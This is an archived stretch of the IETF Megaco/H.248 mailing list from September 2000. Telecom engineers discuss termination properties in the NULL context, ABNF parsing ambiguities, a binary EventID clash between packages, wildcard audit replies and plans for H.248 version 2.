> > > > [PTT] No. We got rid of that in Geneva (I guess, based on Brian's detective
> > > > work).  I may be fuzzy about exactly when, but I can tell you why: you could
> > > > get nonsensical results.  In particular, events and signals set up in the
> > > > NULL context BEFORE connecting the call would probably make no sense at all
> > > > once the connection is dissolved.
> > > >
> > > > > If yes the following questions still remain unanswered:
> > > > > Do we allow provisioning of the termination properties after
> > > > > MGC modifies them
> > > > > in the NULL context.?
> > > > > If yes then how does MGC know about this asynchronous change
> > > > > ? This is because
> > > > > if MGC doesn't know about the change there is no sanctity of
> > > > > the changes made by
> > > > > the MGC. (One solution presented was that provisioning should
> > > > > be followed by a
> > > > > service change)
> > > > >
> > > > > Option 2
> > > > > MGC when modifies termination properties in the NULL context,
> > > > > changes the
> > > > > default/ provisioned values only temporarily. When the
> > > > > termination returns to
> > > > > the NULL context, default/ provisioned values are restored.
> > > > [PTT] That's how the document reads now.
> > > >
> > > > > If yes the following questions still remain unanswered:
> > > > > Do we assume that MGC would audit the properties whenever it
> > > > > establishes an
> > > > > association with a MG and store a copy of the default/
> > > > > provisioned values. And,
> > > > > explicitly send modify for termination properties whenever it
> > > > > needs to change
> > > > > the termination property values.
> > > > [PTT] That's a workable strategy.
> > > >
> > > > > Do we allow provisioning of the termination properties at run-time?
> > > > > If yes then how does MGC know about this asynchronous change
> > > > > ? This is because
> > > > > if MGC doesn't know about the change there is no sanctity of
> > > > > the audited values
> > > > > stored by MGC. (One solution presented was that provisioning
> > > > > should be followed
> > > > > by a service change)
> > > > [PTT] I think the service change would be a good idea.  We should look at
> > > > putting this into the Implementor's Guide if it doesn't contradict anything
> > > > already in the spec.
> > > >
> > > > >
> > > > > Option 1 seems to be more appropriate, but the unanswered
> > > > > questions need to be
> > > > > appropriately addressed. We would like to have others views on this.
> > > > >
> > > > > -Kapil Nayar
> > > > > Hughes Software Systems Ltd.
> > > > >
> > > > >...
> > > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 18 03:47:48 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA29491
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 18 Sep 2000 03:47:47 -0400 (EDT)
Received: from standards (47.234.32.16:3711) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94C15@standards.nortelnetworks.com>; Mon, 18 Sep 2000 3:32:23 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14062 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 18 Sep 2000 03:32:22 -0400
Received: from qhars002.nortel.com (47.101.112.102:52933) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB94C14@standards.nortelnetworks.com>; Mon, 18 Sep 2000
          3:32:22 -0400
Received: from zrtps06s.us.nortel.com by qhars002.nortel.com; Mon, 18 Sep 2000
          08:44:03 +0100
Received: from zmers013 (actually zmers013.ca.nortel.com) by
          zrtps06s.us.nortel.com; Mon, 18 Sep 2000 03:43:59 -0400
Received: from tlhuph12.elex.co.il (actually ertpg1e0.us.nortel.com) by
          zmers013; Mon, 18 Sep 2000 03:43:51 -0400
Received: from tmx100.elex.co.il (tmx100.elex.co.il [141.226.8.254]) by
          tlhuph12.elex.co.il (8.8.6 (PHNE_14041)/8.8.6) with ESMTP id KAA17971
          for <MEGACO@standards.nortelnetworks.com>; Mon, 18 Sep 2000 10:46:18
          +0300 (IDT)
Received: from tl100h0c.elex.co.il by tmx100.elex.co.il (8.8.8+Sun/SMI-SVR4) id
          KAA29751; Mon, 18 Sep 2000 10:46:15 +0300 (IDT)
Received: from tmx100.elex.co.il (rakefet@localhost [127.0.0.1]) by
          tl100h0c.elex.co.il with ESMTP (8.8.6 (PHNE_14041)/8.7.3) id KAA05030
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 18 Sep 2000 10:46:13
          +0300 (IDT)
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------086C375E19BCEC190ED84DC6"
X-Orig: <rakefet.prozan@telrad.co.il>
Message-ID:  <39C5C844.A1ABAEA7@tmx100.elex.co.il>
Date:         Mon, 18 Sep 2000 10:46:12 +0300
Reply-To: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Prozan, Rakefet" <rakefet.prozan@telrad.co.il>
Organization: Telrad Ltd.
Subject:      [Fwd: Syntax problems]
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.
--------------086C375E19BCEC190ED84DC6
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


--
Rakefet Prozan,
Team Manager, S/W Development
ATS SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!
--------------086C375E19BCEC190ED84DC6
Content-Type: message/rfc822
Content-Disposition: inline

X-Mozilla-Status2: 00000000
Message-ID: <39C5C619.FF3EE783@tmx100.elex.co.il>
Date: Mon, 18 Sep 2000 10:36:58 +0300
From: Rakefet Prozan <rakefet@tmx100.elex.co.il>
Reply-To: rakefet.prozan@telrad.co.il
Organization: Telrad Ltd.
X-Mailer: Mozilla 4.7 [en] (X11; I; HP-UX B.10.20 9000/712)
X-Accept-Language: en
MIME-Version: 1.0
To: "Taylor, Tom-PT" <taylor@americasm01.nt.com>
Subject: Re: Syntax problems
References: <28560036253BD41191A10000F8BCBD11480D6E@zcard00g.ca.nortel.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,
I tried to do what you have suggested regarding the contextProperties
problem (the second issue),and it seems that the problem is even worse
than I thought
at first:

 According to the following definitions,we can have actionRequest that
consist
of contextRequest.

   actionRequest        = CtxToken EQUAL ContextID LBRKT ((
                          contextRequest [COMMA  commandRequestList])
                          / commandRequestList) RBRKT

   contextRequest          = ((contextProperties [COMMA contextAudit])
                           / contextAudit)

   contextProperties    = contextProperty *(COMMA contextProperty)

   ; at-most-once
   contextProperty  = (topologyDescriptor / priority / EmergencyToken)


This contextRequest can be as follows:

topologyDescriptor,priority,EmergencyToken,contextAudit,commandRequestList

This means that after the first COMMA I can have each of the following
options:

priority,EmergencyToken,contextAudit,commandRequestList

In advance,commandRequestList can consist of:

ammRequest,subtractRequest,auditRequest,notifyRequest,serviceChangeRequest


In case that the protocol will not be changed,it means that after each
COMMA
I have to check ALL these posibilities,which doesn't make sense
(real-time,etc).
On the other hand,entering parentheses solves the problem.

By the way,the problem also exist in commandReply,because it consists of
contextProperties:

commandReply       = (( contextProperties [COMMA commandReplyList] )
                           / commandReplyList )


many thanks in advance,
 Rakefet



> "Taylor, Tom-PT" wrote:
>
> Responses below.
>
> > -----Original Message-----
> > From: Prozan, Rakefet [Partner:LOD:Telrad]
> > Sent: Tuesday, September 12, 2000 5:18 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Syntax problems
> >
> >
> > Hi all,
> >
> > The previous mail was sent by mistake. This is the correct mail:
> >
> > Can someone clear the following issues in ABNF?
> >
> > 1) In APPENDIX A EXAMPLE CALL FLOW:
> >
> >    ...
> >    8.  The MGC Modifies the termination to play dial tone, to look
> for
> >    digits according to Dialplan0 and to look for the on-hook
> > event now.
> >    MGC to MG1:
> >
> >    MEGACO/1 [123.123.123.4]:55555
> >    Transaction = 10001 {
> >        Context = - {
> >            Modify = A4444 {
> >                Events = 2223 {
> >                    al/on, dd/ce {DigitMap=Dialplan0}
> >                },
> >                Signals {cg/dt},
> >                DigitMap= Dialplan0{
> >    (0| 00|[1-7]xxx|8xxxxxxx|Fxxxxxxx|Exx|91xxxxxxxxxx|9011x.)}
> >            }
> >        }
> >    }
> >
> >   According to the definition of digitMapRAnge :
> >
> >    digitMapRange = ("x" / LWSP "[" LWSP digitLetter LWSP "]" LWSP)
> >
> >
> >   "x" must be followed by "[" .
>
> [PTT] According to section 3.5 of RFC2234 (ABNF), the rule as
> currently shown is correct, but your alternative presentation would be
> clearer.
>
> >   So, either there is an error in the example,or the definition
> should
> > be:
> >
> >   digitMapRange = ("x" /( LWSP "[" LWSP digitLetter LWSP "]" LWSP ))
>
> >
> > 2) In ABNF:
> >
> >    contextRequest = ((contextProperties [COMMA contextAudit])
> >                   / contextAudit)
> >
> >    contextProperties  = contextProperty *(COMMA contextProperty)
> >
> >
> >
> > My problem is : if the parser finds a COMMA after a
> > contextProperty, it
> > doesn't have any indication to know what will come after this COMMA:
>
> > another
> > contextProperty,or the optional contextAudit. This results in a
> loop.
>
> [PTT] You have to check the keyword which follows the comma.
>
> > I think that there are two alternatives ways to solve this:
> >
> > Either to put  contextAudit in { } :
> >
> > contextRequest = ((contextProperties LBRKT [COMMA contextAudit]
> RBRKT)
> >                / contextAudit)
> >
> > Or put contextProperties in { } :
> >
> > contextRequest = ((LBRKT contextProperties RBRKT [COMMA
> contextAudit])
> >                   / contextAudit)
> >
> >
> >  thank you in advance,
> > --
> > Rakefet Prozan,
> > Team Manager, S/W Development
> > Nortel SBU
> > Telrad Networks
> > ESN 828-3043   Email:rakefet.prozan@telrad.co.il
> >
> >
> >                                        """
> >                                      -(o o)-
> > +---------------------------------oOO--(_)--OOo--------------+
> >
> >                                .oooO         Oooo.
> > -------------------------------(   )---------(   )------------
> >                                 \ (           ) /
> >                                  \_)         (_/
> >
> > Have fun !!!
> >

--
Rakefet Prozan,
Team Manager, S/W Development
Nortel SBU
Telrad Networks
ESN 828-3043   Email:rakefet.prozan@telrad.co.il


                                       """
                                     -(o o)-
+---------------------------------oOO--(_)--OOo--------------+

                               .oooO         Oooo.
-------------------------------(   )---------(   )------------
                                \ (           ) /
                                 \_)         (_/

Have fun !!!

--------------086C375E19BCEC190ED84DC6--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 18 04:12:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA29666
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 18 Sep 2000 04:12:30 -0400 (EDT)
Received: from standards (47.234.32.16:1086) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94C42@standards.nortelnetworks.com>; Mon, 18 Sep 2000 3:57:08 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14121 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 18 Sep 2000 03:57:04 -0400
Received: from mail.axestech.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB94C41@standards.nortelnetworks.com>; Mon, 18 Sep 2000 3:47:03
          -0400
Received: by maxip18.maxipro.com with Internet Mail Service (5.5.1960.3) id
          <34Y48KXC>; Mon, 18 Sep 2000 03:19:45 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Message-ID:  <C1AAB24F0C66D3118B5B0000E861BB71033259@maxip18.maxipro.com>
Date:         Mon, 18 Sep 2000 03:19:42 -0500
Reply-To: J Ramachandra <JRamachandra@AXESTECH.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: J Ramachandra <JRamachandra@AXESTECH.COM>
Subject:      EventID for DigitMap Completion Event
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Section E.6.2 under DTMF detection (dd) Package, specifies EventID as
0x0001 for DigitMap Completion Event (ce). But, dd extends tonedet
package which has the same value assigned to Start Tone detected event
(std). With the earlier discussion on 'Package Extension' methodology,
the preferred method for representing std event in dd package is dd/std.
This will clash with dd/ce, when BINARY representation is used.

Is it not better to use any other unused values for ce (Probably
0x0004)?


Regards,

- J K Ramachandra
  ipGen Inc.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 18 04:12:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA29670
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 18 Sep 2000 04:12:31 -0400 (EDT)
Received: from standards (47.234.32.16:1086) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94C4E@standards.nortelnetworks.com>; Mon, 18 Sep 2000 3:57:42 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14136 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 18 Sep 2000 03:57:42 -0400
Received: from smtp1.cluster.oleane.net by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1b) with SMTP id
          <0.FFB94C4D@standards.nortelnetworks.com>; Mon, 18 Sep 2000 3:57:41
          -0400
Received: from oleane  (dyn-1-1-101.Vin.dialup.oleane.fr [195.25.4.101])  by
          smtp1.cluster.oleane.net  with SMTP id KAA47551 for
          <megaco@standards.nortelnetworks.com>; Mon, 18 Sep 2000 10:11:52
          +0200 (CEST)
MIME-Version: 1.0
Content-Type: multipart/alternative;
              boundary="----=_NextPart_000_019F_01C02158.AE889840"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <01a201c02147$eb5cdc60$0401a8c0@oleane.com>
Date:         Mon, 18 Sep 2000 10:10:33 +0200
Reply-To: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Peter Lewis <peter.lewis@UPPERSIDE.FR>
Subject:      H.323 international conference
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_019F_01C02158.AE889840
Content-Type: text/plain;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

"Implementing H.323" international conference, October 10-13, Paris.
Services, implementations, real deployments description. Presence of the =
key players of the technology.
Please get more details at:
http://www.upperside.fr/bah323.htm


------=_NextPart_000_019F_01C02158.AE889840
Content-Type: text/html;
        charset="Windows-1252"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>
<DIV><FONT color=3D#000000 size=3D2>"<STRONG>Implementing =
H.323</STRONG>"=20
international conference, October 10-13, Paris.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Services, implementations, real =
deployments=20
description. Presence of the key players of the technology.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2>Please get more details =
at:</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2><A=20
href=3D"http://www.upperside.fr/bah323.htm">http://www.upperside.fr/bah32=
3.htm</A></FONT></DIV></FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_019F_01C02158.AE889840--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 18 13:29:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15531
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 18 Sep 2000 13:29:17 -0400 (EDT)
Received: from standards (47.234.32.16:1659) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB94E58@standards.nortelnetworks.com>; Mon, 18 Sep 2000 13:13:54 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14810 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 18 Sep 2000 13:13:53 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB94E57@standards.nortelnetworks.com>; Mon, 18 Sep 2000 13:13:48
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id NAA09156; Mon, 18 Sep 2000 13:27:22 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id NAA17058; Mon, 18 Sep 2000 13:27:23 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BBB1SH>; Mon, 18 Sep 2000 13:27:18 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01A6E6AC@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 18 Sep 2000 13:26:58 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: EventID for DigitMap Completion Event
X-To:         J Ramachandra <JRamachandra@AXESTECH.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Wow, I believe you are correct.

Others, would you not agree this is a genuine bug,
which needs to be fixed in order to use the protocol?

This also implies we need wording (starting in the
Implementer's Guide).  The current document does state:
"An extended package shall not redefine or overload
a name defined in the original package. "  Perhaps
just changing "name" to "identifier" would be sufficient.
I'll note that the text could also be clearer about
not redefining an id in "earlier" packages, when multiple
levels of extension occur.

I would note that it IS okay to duplicate ids in parallel
extensions (B extends A and C extends A -- both B and C
could have the same ids that mean something different).
Packages SHOULD NOT do this, but it can be unavoidable,
because packages can be developed in parallel without
knowledge of id overlap.

Brian

> -----Original Message-----
> From: J Ramachandra [mailto:JRamachandra@AXESTECH.COM]
> Sent: Monday, September 18, 2000 4:20 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: EventID for DigitMap Completion Event
>
>
> Section E.6.2 under DTMF detection (dd) Package, specifies EventID as
> 0x0001 for DigitMap Completion Event (ce). But, dd extends tonedet
> package which has the same value assigned to Start Tone detected event
> (std). With the earlier discussion on 'Package Extension' methodology,
> the preferred method for representing std event in dd package
> is dd/std.
> This will clash with dd/ce, when BINARY representation is used.
>
> Is it not better to use any other unused values for ce (Probably
> 0x0004)?
>
>
> Regards,
>
> - J K Ramachandra
>   ipGen Inc.
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 18 21:27:27 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA22614
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 18 Sep 2000 21:27:27 -0400 (EDT)
Received: from standards (47.234.32.16:2026) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9505A@standards.nortelnetworks.com>; Mon, 18 Sep 2000 21:12:06 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15450 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 18 Sep 2000 21:12:05 -0400
Received: from firewall.chttl.com.tw (gate.chttl.com.tw) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB95059@standards.nortelnetworks.com>; Mon, 18 Sep 2000
          21:12:04 -0400
Received: from ms.chttl.com.tw (ms.tl.gov.tw. [10.144.2.104]) by
          firewall.chttl.com.tw (8.9.3/8.9.3) with ESMTP id JAA24333 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 19 Sep 2000 09:25:42
          +0800 (CST)
Received: from bigman ([10.144.200.130]) by ms.chttl.com.tw (8.10.2/8.10.2)
          with SMTP id e8J1T7522073 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>;
          Tue, 19 Sep 2000 09:29:13 +0800 (CST)
References:  <4FBEA8857476D311A03300204840E1CF01A6E6AC@whq-msgusr-02.pit.comms.marconi.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Message-ID:  <002101c021d8$9f863840$82c8900a@chttl.com.tw>
Date:         Tue, 19 Sep 2000 09:26:18 +0800
Reply-To: "Lien, Yan Tsung" <jupy@MS.CHTTL.COM.TW>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Lien, Yan Tsung" <jupy@MS.CHTTL.COM.TW>
Subject:      How to associate two contexts belong to the same call!
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi;
        In MGCP, there is a call ID parameter used to associate two
connections belong to the same call.
    In MEGACO/H.248, which parameter is used to associate two contexts
belong to the same call!


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 03:43:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA10269
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 03:43:31 -0400 (EDT)
Received: from standards (47.234.32.16:4114) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB95156@standards.nortelnetworks.com>; Tue, 19 Sep 2000 3:27:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15767 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 03:27:58 -0400
Received: from hd2.dot.net.in (hd2.vsnl.net.in) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB95153@standards.nortelnetworks.com>; Tue, 19 Sep 2000 3:17:42
          -0400
Received: from hyd.chiplogic.com ([203.197.20.202]) by hd2.dot.net.in
          (8.8.8/8.8.8) with ESMTP id MAA00528 for
          <MEGACO@standards.nortelnetworks.com>; Tue, 19 Sep 2000 12:12:46
          +0530 (IST)
Received: from chiplogic.com ([192.168.2.80]) by hyd.chiplogic.com
          (8.8.7/8.8.7) with ESMTP id MAA29944 for
          <MEGACO@standards.nortelnetworks.com>; Tue, 19 Sep 2000 12:05:19 +0530
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C70D01.9E96FF8C@chiplogic.com>
Date:         Tue, 19 Sep 2000 12:21:45 +0530
Reply-To: Satish Chowdhury <satishch@CHIPLOGIC.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Satish Chowdhury <satishch@CHIPLOGIC.COM>
Organization: Chip Logic
Subject:      reply for audit value
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi All,

        Section 7.2.5 of the document contains the following text
In audit value
   "TerminationID may be specific or wildcarded. If the wildcard matches

   more than one TerminationID, all possible matches are attempted,
   with results reported for each one. ...."

   "If a wildcarded  response is requested, only one command return is
generated, with
   the contents containing the union of the values of all Terminations
   matching the wildcard."

  My problem is w.r.t 1st statement . Neither  ASN.1 or ABNF specifies
any way of sending the list of audit reply for the matched Terminations
which will specify each terminationId and descriptors assoicated with
it.

    Is there a problem in syntax or am I missing something ?.

 Thanks in advance,
       Satish .


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 19 08:24:23 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA13617
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 19 Sep 2000 08:24:23 -0400 (EDT)
Received: from standards (47.234.32.16:3806) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9520C@standards.nortelnetworks.com>; Tue, 19 Sep 2000 8:08:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15950 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 19 Sep 2000 08:08:45 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB951EE@standards.nortelnetworks.com>; Tue, 19 Sep 2000 7:58:43
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8JCCFZ22666; Tue, 19 Sep 2000 14:12:15 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          OAA22805; Tue, 19 Sep 2000 14:12:14 +0200 (MET DST)
Received: from ericsson.com ([130.100.249.232]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id OAA07952; Tue, 19 Sep 2000
          14:12:09 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <28560036253BD41191A10000F8BCBD11480D7F@zcard00g.ca.nortel.com>
            <39C01915.C358901@ericsson.com> <39C03FBC.A1E17DDF@cisco.com>
            <39C05E5F.674A9443@ericsson.com> <39C57459.13409C67@cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39C66D0C.25CEB48E@ericsson.com>
Date:         Tue, 19 Sep 2000 06:29:16 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: H.248v2 [was Re: Can MGC modify term in NULL Context ?]
X-To:         Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Flemming,

No there will be one protocol(H.248, Megaco) with 2 versions. Version 2
following version 1. Version 2 work is just starting and will go
probably for another year thus giving "the ink" plenty of time to dry
before we have version 2 ready. No body has been from giving input to
this work.

Regards, Christian

Flemming Andreasen wrote:
>
> The ink is barely dry on v1 and we all went through tremendous efforts to ensure that
> the IETF and ITU-T would develop a single protocol. Am I to understand it was a wasted
> effort as there now will be two protocols after all ? Where does this leave Megaco ?
>
> -- Flemming
>
> Christian Groves wrote:
>
> > G'Day Flemming,
> >
> > Its the version after H.248v1 and SG16 are working on it.
> >
> > Cheers, Christian
> >
> > Flemming Andreasen wrote:
> > >
> > > Question for clarification here:
> > >
> > > Exactly what is H.248v2 and who is working on it ?
> > >
> > > -- Flemming
> > >
> > > Christian Groves wrote:
> > >
> > > > G'Day all,
> > > >
> > > > With regards to the service change idea there was a contribution to the
> > > > Portland SG16 meeting for H248v2 to add "ServiceChange => Capability
> > > > Change" as an indication that something (property, signal, event etc)
> > > > has changed on the MG and that the MGc should do an audit of what was
> > > > indicated in the service change to find out the exact change.
> > > >
> > > > With regards to option 1 I did like the idea of the MGC being able to
> > > > change properties in the NULL context and make them stick but then we
> > > > have a mismatch between Physical and Euphemeral terminations as you
> > > > wouldn't have the same ability for the MGC to make changes stick.
> > > >
> > > > Cheers, Christian
> > > >
> > > > Tom-PT Taylor wrote:
> > > > >
> > > > > Resonses marked by [PTT].
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Kapil Nayar [mailto:knayar@HSS.HNS.COM]
> > > > > > Sent: Wednesday, September 13, 2000 1:10 AM
> > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > Subject: Re: Can MGC modify term in NULL Context ?
> > > > > >
> > > > > >
> > > > > > Hi Tom, Brian
> > > > > >
> > > > > > Some confusion is ensuing from the replies......
> > > > > >
> > > > > > Do we have a consensus about the following:
> > > > > > 1.   Default values are values specified in the packages.
> > > > > [PTT] In the packages, and sometimes in the main protocol document.
> > > > >
> > > > > > 2.   Provisioned values are values configured at MG end.
> > > > > [PTT] Right.
> > > > >
> > > > > >
> > > > > > AND
